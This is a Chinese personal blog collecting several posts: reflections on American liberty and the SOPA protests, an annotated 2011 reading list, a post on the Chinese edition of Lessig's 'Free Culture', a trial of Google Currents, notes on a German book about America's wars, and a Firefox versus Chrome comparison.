其实第一件事严格说来也不能算事,只是看了两本书而已,书中的内容颇让人触动。书是夫妻二人组林达写的近距离看美国系列中的两本:《历史深处的忧虑》、《总统是靠不住的》。不是小说,不是传记,不是励志读物,只是两本讨论美国社会政治制度的散文,可这居然数次让我动容,眼角发酸。书中讲到美国人200年来一直守护着自由;即使总统,到了最危险的关头也能以人民和宪法为重;开国者们为了保障自由、限制公权力而绞尽脑汁,法官们践行法律时也能时时注意到不伤害人民的自由权利。

第二件让我感动的事情就是这两天网络上(严格来说是美国网络上)闹得沸沸扬扬的反对SOPA法案的活动。详情不用说了,网络上已经一大把一大把的文章了,或许也可以看看维基百科上的声明以及其法律顾问的解释。这是一个对可能危及美国人民自由的法案而发出的反对活动。难得看到这么多的web2.0网站如此齐心,而最让我心潮澎湃的是google首页上的这句话:“告诉国会:请不要审查互联网!”

Google首页抗议反盗版法案

为这两件事居然会感动,自己都觉得有些不可思议。细细想来,那还是因为我朝的自由缺缺,看到别人为自由能够自由的抗争和发声并去保护,实在是感触太多之故吧。

2011年已读书目

看到许多人都总结了2011年一年自己都读了啥书,那我也总结一下一年来读过的书吧。也希望我的书单能对其他喜欢读书的人有所帮助和发现。

回顾一下才发觉,自己去年还真的是读了不少书,只是我读的书大多都不是新书啦:

果壳中的宇宙

  • 果壳中的宇宙
  • [英] 史蒂芬·霍金 / 吴忠超 / 湖南科学技术出版社
  • ★★★★
  • 宅男装逼书籍,经典,适合有一定物理基础的同学看。翻译质量不敢恭维。

网民的狂欢

共创未来

时间.空间和万物

终极理论之梦

  • 终极理论之梦
  • S·温伯格 / 湖南科技 /
  • ★★★★★
  • 第一推动力丛书大部分翻译质量都不错。这本是诺贝尔物理学奖得主温伯格非常有名的一部作品,探讨物理学的终极理论。

时空的未来

  • 时空的未来
  • 霍金 / 湖南科学技术出版社
  • ★★★★★
  • 还是第一推动力的。这本书汇集了霍金等几位物理学家的文章,严肃探讨时间旅行的可行性。介于科普与学术论文之间

千亿个太阳

  • 千亿个太阳
  • [德]鲁道夫·基彭哈恩 / 湖南科学技术出版社
  • ★★★★
  • 非常经典的天文学科普著作,只是内容有些老了

生命是什么

  • 生命是什么
  • [奥]埃尔温·薛定谔
  • ★★★★
  • 薛定谔同学一本很有名的书,不谈物理,而是谈生命与哲学。是分子生物学的奠基之作。

动物农场

  • 动物农场
  • [英] 乔治·奥威尔 / 荣如德 / 上海译文出版社
  • ★★★★★
  • 这个不用多说了。“动物是平等的,而有些动物是更加平等的”

温度概念及其发展

  • 温度概念及其发展
  • 薛国良 / 河北教育出版社
  • ★★★★
  • 国人写的一部专门讲温度这个概念的科普著作

信息的社会层面

  • 信息的社会层面
  • [美]布朗 / 王铁生 / 商务印书馆
  • ★★★★
  • 信息与人类社会之间的相互影响。其中讲到的一些知名IT早期的故事蛮有意思。

唐诗杂论

  • 唐诗杂论
  • 闻一多 / 上海古籍出版社
  • ★★★★
  • 闻一多同学论唐诗,偏学术一些。据说还在学界引起较大争议。其中一些观点还是蛮有意思。

中国道教发展史略

  • 中国道教发展史略
  • 南怀瑾 / 复旦大学出版社
  • ★★★
  • 虽然南怀瑾同学比较有争议性。但怎么说论家也是通读过《道藏》滴人,只这一点就没有几个人能比得了。只是这本书真的是“史略”,太略了一点,看起来不过瘾

通俗天文学

  • 通俗天文学
  • (美)西蒙·纽康 / 金克木 / 当代世界出版社
  • ★★★
  • 又是一本天文学方面的经典科普著作。只是这个译本为了保持知识的新鲜度,加了很多内容上去。结果就变成狗尾续貂了。

樱花与武士

  • 樱花与武士
  • 孔祥旭著 / 同心 /
  • ★★★★
  • 国人所著,谈日本文化的历史渊源,中日之间的许多争执都是因为文化差异而起。不管是反日还是不反日,只要关心中日关系,都应该看一看

大设计

  • 大设计
  • [英] 斯蒂芬·霍金 / 吴忠超 / 湖南科学技术出版社
  • ★★★★
  • 好吧,这本书没出来就已经是名著了。没有物理功底的同学还是直接路过吧,当然,用来装逼还是相当不错的。可惜吴忠超同学对霍金著作糟糕的垄断翻译,彻底把这本书给毁了。这应该是我2011年读过的几本新书之一吧

从大历史的角度读蒋介石日记

  • 从大历史的角度读蒋介石日记
  • 黄仁宇 / 九州出版社 /
  • ★★★★
  • 非常喜欢黄仁宇的书。只是这本书写的时候蒋介石日记还没有能公开查阅,所以有些观点就…

神话的历史

  • 神话的历史
  • 维罗妮卡.艾恩斯 / 杜文燕 / 希望出版社
  • ★★★
  • 其实书名如果叫做《世界神话》就更合适了。看着玩玩还行,书中配图错误比较多

自由主义

  • 自由主义
  • 约翰・格雷 / 曹海军 / 吉林人民出版社
  • ★★★★
  • 自由主义知识普及小册子(其实是非常学术化的)

存在之轻

  • 存在之轻
  • (美) 维尔切克 / 王文浩 / 湖南科学技术出版社
  • ★★★★★
  • 嘿嘿嘿,又见第一推动力。不太科普的物理学科普著作。需要有一定的物理学基础,读起来才不会太吃力

剑桥倚天屠龙史

  • 剑桥倚天屠龙史
  • 新垣平 / 万卷出版公司
  • ★★★★
  • 2011年读的另外一本新书。休闲读物。只是作者吐槽吐的太狠了一些,过犹不及了。这本书是2011年我读的最快的一本了,一天就把整本书全看完了。

平行宇宙

  • 平行宇宙
  • (美)加来道雄 / 伍义生 / 重庆出版集团,重庆出版社
  • ★★★★
  • 啊,作者就是那位很geek的,说英语的日本人,老在电视上晃来晃去。物理学家啊。科幻和物理是密不可分的,想想我们几十亿年以后的子孙如何解决太阳死亡,银河毁灭,宇宙死寂的终极问题吧。就是翻译差了一点。

君主论

  • 君主论
  • [意]尼科洛·马基雅维里 / 潘汉典 / 商务印书馆
  • ★★★★
  • 经典啊。看这本书的人经常会被人问,你是要从政?还是要当领导了?所以千万别被你的领导/老板发现你在看这本书…

超越时空

  • 超越时空
  • (美)加来道雄(Kaku,M) / 刘玉玺 / 上海科技教育出版社
  • ★★★★
  • 这本书要和上面那本《平行宇宙》搭在一起看才有意思

知识分子论

  • 知识分子论
  • 爱德华•W•萨义德 / 单德兴 / 生活·读书·新知三联书店
  • ★★★★★
  • 在中国互联网上吵吵来吵吵去的那些公知们真的应该好好看看这本书。看看怎样才是真正的知识分子。其实韩寒还是挺契合萨义德同学的。

西方文化中的数学

  • 西方文化中的数学
  • (美)M・克莱因 / 张祖贵 / 复旦大学出版社 /
  • ★★★★★
  • 真的是一本好书。对数学史感兴趣的同学绝对不能错过。

美国的战争

  • 美国的战争
  • (德)妮科勒·施莱 / 陶佩云 / 生活.读书.新知三联书店
  • ★★★
  • 从德国人的角度看美国还是挺有意思的。书中讲到的一些美国历史上的小八卦比较令人耳目一新。

免费文化

著作权法教程

  • 著作权法教程
  • 费安玲 / 专利文献出版社
  • ★★★
  • 对于著作权法源的阐述比较充分,仅此而已。

爱因斯坦尚未完成的交响乐

  • 爱因斯坦尚未完成的交响乐
  • 玛西亚·芭楚莎 / 李红杰 / 湖南科技
  • ★★★
  • 原版2002年出的,现在有些内容稍微过时了一点,但是翻译质量还是不错的

PS: 为什么豆瓣电影有我的2011年电影,而豆瓣读书却怎么没有这么个东西呢?

免费 vs 自由

更新:未想到小文竟然还引起了博客圈的回响,这年头还真不容易啊。首先要说的是,“美好的回忆”不是回忆当年的那个翻译计划,而是这本书让我想起了当年活泼的博客圈生态。至于当年那些译文的好坏不是我要说的重点。第二,我不是意在嘲讽该书中译本的质量,只是调侃一下“自由”而已。另外,非常感谢Lawrence Li 的文章中指出了我文章中的许多语病和错别字,真的是贻笑方家了。我已经在下面修改了一些错误和表达不严谨的地方。

刚读完《免费文化》,是的,“免费”,其实就是CC创始人莱斯格著作的《自由文化》(Free Cultural Free Culture)一书的简体中文版书名。提起《自由文化》,又想起了几年前的中文博客圈发起的该书的中文翻译,可叹项目缺乏进展,现在连网站都已经打不开了。

为了缅怀一下当年的美好时光,才买的这本《免费文化》,本以为作者译者完全胡乱翻译,肯定是翻得很糟糕的山寨货。却没想到,虽然的确算不上翻译的好(许多技术性一些的词语翻得相当糟糕),但是除了封面、封底和版权页上用了“免费文化”一词,书中完全找不到“免费文化”,全部都是原汁原味的“自由文化”。这很明显不由得令人有一种阴谋论的想法,是不是作者译者或出版社为了去敏,用免费文化的羊头,卖自由文化的狗肉去了

这真的是一个令人啼笑皆非的事情。在天朝,自由是如此的敏感,书名都不敢用“自由”一词,生怕不能出版。这倒是令人想起,在天朝,与自由文化一奶同胞的自由软件。每年国际上有一天,开源、自由软件圈都有个活动,叫做软件自由日(Software Freedom Day ),可是在天朝,这一天却变成了自由软件日。软件都不能呼吁令其自由,更何况人乎?

(软件自由日logo)

最后,附上韩寒一篇blog中的一段话:

问:那难道中国就不需要民主与自由了么?
回 答:这是一个误区,文化人普遍将民主与自由联系在一起,其实对于国人,民主带来的结果往往是不自由。因为大部分国人眼中的自由,与出版,新闻,文艺,言 论,选举,政治都没有关系,而是公共道德上的自由,比如说没有什么社会关系的人,能自由的喧哗,自由的过马路,自由的吐痰,稍微有点社会关系的人,我可以 自由的违章,自由的钻各种法律法规的漏洞,自由的胡作非为,所以,好的民主必然带来社会进步,更加法制,这势必让大部分并不在乎文化自由的人们觉得有些不 自由,就像很多中国人去了欧美发达国家觉得浑身不自在一样。所以,民主和自由未必要联系在一起说,我认为中国人对自由有着自己独特的定义,而自由在中国最 没有感染力。

最最后,这里有《自由文化》一书繁体中文版的PDF,由译者释出,不是盗版。

试用Google Currents

Google Currents producer logo

Google Currents是google最新推出的数字内容移动平台,安卓平台和iOS平台都可以使用(不支持中国区)。看了一圈评价,觉得还是xjp的看法靠谱,这不仅仅是数字阅读移动平台,更为重要的是,它还是一个个人数字内容出版平台,对于自媒体而言,可以零成本的将自己的内容通过这个平台发布到移动设备上,app的资金与技术成本还是太高了。

试用了一下它的发布功能,总体而言Google Currents还是一个非常典型的beta产品,问题多多。例如对于feed的解析,远不如google redaer强大,某些feed不能正常解析。虽然内置支持google+,但是对google+内容的处理问题很大,例如我把自己的google+发布上去,它却只能提供很多天以前的内容,最新的内容始终看不到。但是也看到,它改进也是很快的,头一天建立的内容还不能删除,第二天就已经修好了。

记得之前有人说干脆自己做个app,然后在上面写连载小说。Google Currents已经能够完全实现这个功能了。Google Currents 可以通过feed导入内容,也可以从google doc导入,那么只要在google docs写小说,就可以同步发布到Google Currents 了。

我把我的blog、flickr、tumblr、google+的内容整合在一起发布到了Google Currents ,你可以在移动设备上点击这个链接在Google Currents 上订阅我发布的内容。或者也可以在Google Currents上搜索“半亩塘闲话”找到我。

下面是我在Google Currents上的两张截图:

(照片页)

(导航页)
我穿墙而来,google Currents能当几时?

吐槽美帝

美国的战争》一书是由两位德国政治学家写的,于我而言,站在德国的视角看美国问题是一个有趣的角度。只是其中谈到与中国有关的几场战争(例如义和团、八国联军、朝鲜战争等),作者的资料似乎不太详尽,描述的过于简略粗糙了一点。

全书按照各场战争和冲突分章节,每章开始还有一个简单的信息表,颇似维基百科的战争信息框。全书总结下来美国自建国以来发动战争的目的几乎都是因为涉及到了美国自身的利益。书中有一些比较有趣的细节,倒是可以分享一下。

印第安人战争

美国与印第安人之间的冲突断断续续持续了将近2个世纪。印第安人倒也并不如我们所想象的那样不堪一击,他们也打过几次胜仗,甚至在不同时期还和英国、法国等联盟。美国在1946年成立了印第安人索偿委员会,来解决长期积累的印第安人土地索偿问题。该委员会1978年解散,转交法院处理。截至1980年为止,美国政府为此只偿付了4亿美元。

不自由,毋宁死

得克萨斯最初原属于墨西哥,19世纪20年代,墨西哥政府废除奴隶制,这一下子捅了得克萨斯的马蜂窝,因为当时该地区奴隶是当地移民最重要的支柱。于是,得克萨斯人严重抗议,宣布独立,成立共和国。墨西哥军队与得克萨斯自由军开战,墨西哥军队节节胜利,得克萨斯人为了捍卫自己的独立,为了捍卫奴隶制,于是喊出了历史上最注明的一个口号:“不自由,毋宁死!”不知道这现在看起来是不是很讽刺?

得克萨斯共和国最终勉强抵挡住了墨西哥政府的进攻,但是他们也明白,自己很难继续抵挡墨西哥收复背叛领土的进攻。于是他们明智地作出了一个选择,要求加入美国,成为美国的一个州。但是这件事在美国国内却争议了很长时间。因为奴隶制问题,从1837年得克萨斯申请加入美国,直到1845年美国才同意合并。

继续奴隶制的话题

接下来就是因为奴隶制而发生的南北战争了。林肯总统本来对奴隶制的态度是比较骑墙的,他一方面反对扩大蓄奴制,另一方面也不愿意通过武力来废除奴隶制。正因为此,他才得以成功在总统选举中获胜。

1862年林肯发表了著名的《解放宣言》,宣称所有奴隶全部自由,但是他又暂不解放奴隶,而是以此激起南方州的种族仇恨。另一方面,虽然北方州的人们主张解放奴隶,但是当大量的奴隶来到北方,他们又开始各种担心,不愿意看到奴隶与白人平等。而自宣言发表后,北方军队的主要战斗力都是来自不断加入的奴隶们,他们满腔仇恨都从战斗中发泄出去了。

索马里恐惧症

1990年代索马里的内乱是第一个因为侵犯人权而遭到国际社会军事干预的实例,也从此诞生“人道主义干预”这么个概念。这要比今年干利比亚早多了。美国决定干预索马里可以说是完全出于人道主义,一方面是国内民众和舆论的压力,另一方面也是美国想在冷战后建立世界新秩序的一次试验,可惜这次试验很不成功。在追捕爱迪德的行动中,美国的三角洲部队行动失败,18名美国士兵死亡,索马里人死了1000多,电视媒体中播放的一名死亡的美国士兵被爱迪德追随者在街上拖着示众的画面,让美国人和美国政府形成了非常深重的心理阴影。

此后多年,只要不涉及美国利益,美国对与自己无关的地区冲突始终不敢再贸然插手,生怕重蹈索马里的覆辙。例如卢旺达大屠杀,美国一开始就明确表达对此无意插手,甚至在联合国决议中,美国都拒绝将“种族大屠杀”写进去,以此摆脱国际社会的压力。(但是说实话,在这件事上,一开始,不仅美国,整个国际社会都是在袖手旁观。联合国想要派一支维和部队过去,但是却根本找不到一个国家愿意出兵,当然,这包括咱中国)

而美国人的索马里恐惧症(这是我创造的词汇)最滑稽的一幕则是发生在海地。1994年海地内乱,联合国派遣部队去维和,部队主要是美国和加拿大士兵。当美国登陆舰到达海地时,海地军政府雇佣了很多人进行示威,标语上写着“欢迎到摩加迪沙来”(摩加迪沙是索马里城市),暗示这里是美国的“第二个索马里”。美国政府看到这个,当即就下令登陆舰回航。能把美国政府吓成这样简直是个奇迹啊!

科索沃

科索沃是个神奇的地方,做个不恰当的类比,它就好像是我们的西藏或台湾的问题。只是科索沃的历史更加久远复杂。从9世纪以来,科索沃就被不同的国家占来占去,更糟糕的一点是,阿尔巴尼亚人和塞尔维亚人都认为科索沃在历史上是自己的祖国,都对科索沃提出要求,科索沃的阿尔巴尼亚人更是要求科索沃独立。

还记得当年米洛舍维奇被很多国人视作英雄,顽强抵抗北约的侵略。但是米洛舍维奇被国际法庭审讯以及北约的干涉,最重要的原因却是他对科索沃地区进行种族清洗,仅仅一年的时间,2000多科索沃人被塞尔维亚军队杀死,20-30万人被驱逐或逃亡,对民众进行有计划的镇压和肆无忌惮的拷打,并将之作为战争手段实施。当然同样,科索沃人也犯了许多类似的严重罪行。北约的干涉最主要的动力来自对爆发难民潮的忧虑,因为这会严重影响本国的社会稳定与经济状况。当然据说美国插手的动力之一则是克林顿希望转移他与莱温斯基的绯闻问题。

最后,要感谢党,感谢国家,感谢CCTV,一个进行种族清洗的罪人硬生生成为了我们眼里的反帝英雄。

Firefox完了吗?

前几天新闻说Chrome市场份额已经超越Firefox,现在就已经有人认为firefox要完了

真的要完了吗?至少于我而言,firefox虽然已经不是默认的浏览器了(默认当时是Chrome了),但是firefox还是有不可替代的优点,Chrome仍然在我这里不能完全取代Firefox的地位。

现在我浏览网页,google服务什么的大部分都使用chrome,但是写维基百科以及写blog,还是感觉Firefox更加好用。Chrome对网页中编辑文本框的处理仍然存在一些问题,最重要的是鼠标在文本框中选取、复制粘贴一系列操作简直惨不忍睹,经常会一不留神选多了或选少了,甚或一部注意就删掉了一部分文字,而Firefox在这一点上确实非常好用,鼠标在文本框中的操作要比Chrome流畅许多,也没有Chrome的这些毛病。而最最最最重要的一点是,Firefox支持在文本框中对选取的文字Ctrl+鼠标右键可以直接拖拽复制(光标上会出现一个加号),Chrome就完全没有这个功能。而我非常需要的就是这个功能。因此对我而言,Firefox还是有其不可替代的地方的。